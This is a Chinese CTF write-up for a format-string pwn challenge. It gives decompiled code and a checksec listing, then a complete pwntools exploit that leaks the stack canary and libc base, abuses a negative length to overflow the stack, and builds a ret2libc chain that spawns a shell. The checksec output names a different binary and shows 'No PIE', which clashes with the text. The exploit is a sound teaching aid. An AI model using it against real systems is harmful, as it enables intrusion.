【困难】寻¥环游记

“很难想象,liunx 的保护如此脆弱,一个 Format String 就将 PIE,Canary 等一众高手杀的片甲不留”,出题人如实说到。“什么?没有后门你就不知道接下来怎么办?看看远方的 libc 吧!”

题目分析

看到 hint 不难想到是 fmt 泄露 Canary 和 PIE 的基地址,然后打 ret2libc 就好了。

ida 看看:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int nbytes; // [rsp+Ch] [rbp-34h] BYREF
  char nbytes_4[16]; // [rsp+10h] [rbp-30h] BYREF
  char v6[24]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts(
    "My roommate lost 100 on his way back from a trip during the National Day holiday. Can you help him recall where he left it?");
  puts("Where do you think he left his money?");
  printf(format);
  read(0, nbytes_4, 0x10uLL);
  printf("I will try to find the money he lost at the ");
  printf(nbytes_4);
  puts("Please give me your name. If I find it, I will repay you!");
  puts("First, how long is your name?");
  printf(format);
  __isoc99_scanf("%d", &nbytes);
  if ( nbytes <= 16 )
  {
    puts("What is your name?");
    printf(format);
    read(0, v6, (unsigned int)nbytes);
    puts("Thank you for your help!");
  }
  else
  {
    puts("Too long!");
  }
  return 0;
}

看看保护,保护全开!

┌──(kali㉿LAPTOP-9O25NAN3)-[~/Desktop/nex_practice/fmt]
└─$ checksec ./ancient_book
[*] '/home/kali/Desktop/nex_practice/fmt/ancient_book'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

ok,漏洞很明显 : fmt -> 整形下溢 -> 栈溢出

对了,为了方便调试,建议用 patchelf 将题目的 libc 和 ld 改为出题人提供的。

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process('./where_is_money')
# p = remote('202.199.6.66', 39706)
elf = ELF('./where_is_money')
libc = ELF('libc.so.6')

payload = b'%13$p%17$p%35$p\n'
p.sendlineafter(b'> ', payload)
p.recvuntil(b'0x')
canary = int(p.recv(16), 16)
p.recvuntil(b'0x')
main_addr = int(p.recv(12), 16) # 这个实际上可以不用,看下面是如何利用的
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - 0x29e40

success('canary: ' + hex(canary))
success('main_addr: ' + hex(main_addr))
success('libc_base: ' + hex(libc_base))

p.sendlineafter(b'> ', b'-1')        # 整形下界溢出

# 0x00000000000011f1 : pop rdi ; ret
# pop_rdi_ret = main_addr - elf.sym['main'] + 0x00000000000011f1
# ret_addr = main_addr - elf.sym['main'] + 0x000000000000101a

# 当然,用 libc 中的 pop_rdi_ret 也行
# ROPgadget --binary ./libc.so.6 --only "pop|ret" | grep rdi
# 0x000000000002a745 : pop rdi ; pop rbp ; ret
# 0x000000000002a3e5 : pop rdi ; ret
pop_rdi_ret = libc_base + 0x000000000002a3e5
ret_addr = pop_rdi_ret + 1
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

success('pop_rdi_ret: ' + hex(pop_rdi_ret))
success('system_addr: ' + hex(system_addr))
success('bin_sh_addr: ' + hex(bin_sh_addr))

payload = flat(
    b'A' * 0x18,
    canary,
    b'deadbeef',
    ret_addr,
    pop_rdi_ret,
    bin_sh_addr,
    system_addr,
)

p.sendafter(b'> ', payload)

p.interactive()

get shell 后,cat flag 就好了